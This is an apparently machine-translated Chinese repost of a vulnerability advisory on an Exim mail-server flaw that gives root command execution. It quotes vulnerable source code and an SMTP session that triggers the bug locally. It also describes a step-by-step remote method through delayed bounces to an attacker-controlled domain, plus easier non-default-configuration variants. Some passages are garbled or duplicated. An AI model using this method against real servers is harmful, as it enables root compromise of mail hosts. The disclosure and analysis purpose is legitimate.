邮件服务器漏洞攻击,Exim邮件服务中的严重漏洞分析
*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。
一、摘要
在對Exim郵件服務器的最新更改進行代碼審查期間(https://en.wikipedia.org/wiki/Exim),我們發現了一個RCE漏洞,版本4.87至4.91(含)。在這種特殊情況下,RCE表示遠程*命令*執行,而不是遠程執行代碼:攻擊者可以以root身份執行execv()的任意命令;不需要考慮任何內存損壞或涉及ROP(面向返回編程)問題。
此漏洞可由本地攻擊者立即利用(以及某些非默認配置中的遠程攻擊者)。遠程在默認配置中利用此漏洞,即攻擊者必須保持與易受攻擊的服務器的連接打開7天(通過每隔幾分鐘發送一個字節)。但是,因為Exim的代碼極其復雜,我們無法保證這一點開發方法獨特;可能存在更快的方法。
自4.87版(4月6日發布)以來,Exim在默認情況下很容易受到攻擊,2016),當#ifdef EXPERIMENTAL_EVENT成為#ifndef DISABLE_EVENT;和如果啟用了EXPERIMENTAL_EVENT,舊版本也可能容易受到攻擊手動。令人驚訝的是,此漏洞在版本4.92中已得到修復(2019年2月10日發布):
但未被確定為安全漏洞,并且大部分都在運行因此,系統受到影響。例如,我們利用最新的本通報中的Debian發行版(9.9)。
二、本地執行測試
漏洞代碼位于deliver_message()函數中:6122 #ifndef DISABLE_EVENT
6123 if (process_recipients != RECIP_ACCEPT)
6124 {
6125 uschar * save_local = deliver_localpart;
6126 const uschar * save_domain = deliver_domain;
6127
6128 deliver_localpart = expand_string(
6129 string_sprintf("${local_part:%s}", new->address));
6130 deliver_domain = expand_string(
6131 string_sprintf("${domain:%s}", new->address));
6132
6133 (void) event_raise(event_action,
6134 US"msg:fail:internal", new->message);
6135
6136 deliver_localpart = save_local;
6137 deliver_domain = save_domain;
6138 }
6139 #endif
因為expand_string()識別“$ {run {}}”擴展項,而new-> address是郵件的收件人,本地攻擊者只需發送郵件即可“$ {run {...}} @ localhost”(其中“localhost”是Exim的一個local_domains)并以root身份執行任意命令(默認情況下,deliver_drop_privilege為false)測試方法如下:john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory
john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection
john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied
root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在這個測試中:1.我們發送的次數超過received_headers_max(默認為30)收到:“郵件服務器的頭文件,將process_recipients設置為RECIP_FAIL_LOOP,從而執行易受攻擊的代碼;
2.我們使用反斜杠轉義收件人地址中的無效字符,這些字符由expand_string()(在expand_string_internal()和transport_set_up_command()中)方便地解釋。
二、遠程代碼執行測試
我們的本地開發方法不能遠程工作,因為Exim的默認配置中的“verify = recipient”ACL(訪問控制列表)要求收件人地址的本地部分(@符號前面的部分)是本地用戶的名稱:john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:
550 Unrouteable address
三、默認配置解決問題
首先,我們利用“bounce”消息成功解決“verify = recipient”ACL問題:如果我們發送無法發送的郵件,Exim會自動向嚴格的發件人發送一條遞送失敗消息(“退回”)。換句話說,我們原始郵件的發件人(我們的MAIL FROM)成為跳出的接收者(其RCPT TO),因此可以用“$ {run {...}}”執行命令。實際上,Exim默認配置中的“verify = sender”ACL只能檢查原始發件人地址的域部分,而不是本地部分(因為它是遠程地址)。
接下來,反彈必須到達易受攻擊的代碼并通過process_recipients!= RECIP_ACCEPT測試,但我們無法重用我們的received_headers_max技巧,因為我們無法控制反彈頭。我們對第二個問題的解決方案不是最優的:如果是彈跳本身不能在7天后交付(默認情況下timeout_frozen_after),然后Exim將process_recipients設置為RECIP_FAIL_TIMEOUT并執行易受攻擊的代碼。
最后,我們必須解決一個看似棘手的問題:2天后(默認ignore_bounce_errors_after)除非延遲退出(通過臨時傳遞失敗),并且4天后默認重試規則(“F,2h,15m; G,16h,1h,1.5; F,4d,6h”),否則將丟棄跳出將延遲地址轉換為失敗的地址,因此在timeout_frozen_after的7天之前丟棄反彈。下面是我們對第三個問題的解決方案,以及一般的遠程開發問題(但可能存在更簡單,更快速的解決方案):(1)我們連接到易受攻擊的Exim服務器并發送不能的郵件交付(因為我們發送超過received_headers_max“收到:”頭)。我們郵件的收件人地址(RCPT TO)是“postmaster”,它的發件人地址(MAIL FROM)是“$ {run {...}} @ khazad.dum”(其中“khazad.dum”是我們控制的域名。
(2)因為我們的郵件無法發送,Exim連接到khazad.dumMX(我們監聽并接受此連接的地方)并開始發送退回郵件至“$ {run {...}} @ khazad.dum”。
(3)我們保持此連接開放7天(默認值timeout_frozen_after),每隔4分鐘向Exim發送一個字節。這個因為Exim讀取對其SMTP命令的響應(簡單郵件)傳輸協議)用一個4096字節的緩沖區(DELIVER_BUFFER_SIZE)每次重置5分鐘超時(默認的command_timeout)讀取一個字節。
(4)7天后,我們使用永久郵件完成冗長的SMTP響應交付失敗(例如,“550 Unrouteable address”)凍結post_process_one()中的反彈。這個功能實際上應該丟棄反彈而不是凍結它(這會阻止我們到達易受攻擊的代碼)因為它超過2天(默認值ignore_bounce_errors_after):
四、非默認配置下
我們最終設計了一個精心設計的方法來遠程利用Exim的默認配置,但是也很容易遠程利用的各種非默認配置:(1)如果管理員手動刪除了“verify = recipient”ACL(可能是為了防止通過RCPT TO進行用戶名枚舉),那么我們的本地開發方法也可以遠程工作。
(2)如果Exim配置為識別收件人地址的本地部分中的標簽(例如通過“local_part_suffix = + *: - *”),那么遠程攻擊者可以簡單地重用我們的本地利用方法和RCPT TO“balrog + $ {run {...}} @ localhost“(其中”balrog“是本地用戶的名稱)。
(3)如果Exim配置為將郵件中繼到遠程域,作為輔助MX(Mail eXchange),則遠程攻擊者可以使用RCPT TO $ {run {...}} @ khazad簡單地使用我們的本地利用方法。 dum“(其中”khazad.dum“是Exim的relay_to_domains之一)。實際上,”verify = recipient“ACL只能檢查遠程地址的域部分(@符號后面的部分),而不是本地部分。
(4)7天后,我們使用永久郵件完成冗長的SMTP響應交付失敗(例如,“550 Unrouteable address”)凍結post_process_one()中的反彈。 這個功能實際上應該丟棄反彈而不是凍結它(這會阻止我們到達易受攻擊的代碼)因為它超過2天(默認值ignore_bounce_errors_after):1613 /* If this is a delivery error, or a message for which no replies are
1614 wanted, and the message's age is greater than ignore_bounce_errors_after,
1615 force the af_ignore_error flag. This will cause the address to be discarded
1616 later (with a log entry). */
1617
1618 if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619 setflag(addr, af_ignore_error);
然而,在這種特殊情況下,message_age不是反彈的真實時間(超過7天),但它是從Exim的線軸首次加載時的時間(當它只有幾秒鐘或幾分鐘時)。(5)最后,Exim的下一個隊列運行(默認情況下每30分鐘啟動一次)Debian)從假脫機加載凍結彈跳,設置process_recipients
到RECIP_FAIL_TIMEOUT(這次,message_age是反彈的真實年齡,超過7天),并執行易受攻擊的代碼和我們的命令(我們的
原始發件人地址“$ {run {...}} @ khazad.dum”是反彈的收件人地址,由expand_string()解釋。
注意:快速測試這種遠程開發方法,日期Exim的默認值為timeout_frozen_after,ignore_bounce_errors_after可以由小時替換,默認重試規則由“F,4h,6m”替換。
*本文作者:freexploit,轉載請注明來自FreeBuf.COM
總結
以上是生活随笔為你收集整理的邮件服务器漏洞攻击,Exim邮件服务中的严重漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 邮件服务器潜在漏洞的保护方法
- 下一篇: 邮件服务器 文件服务器,搭建邮件、终端和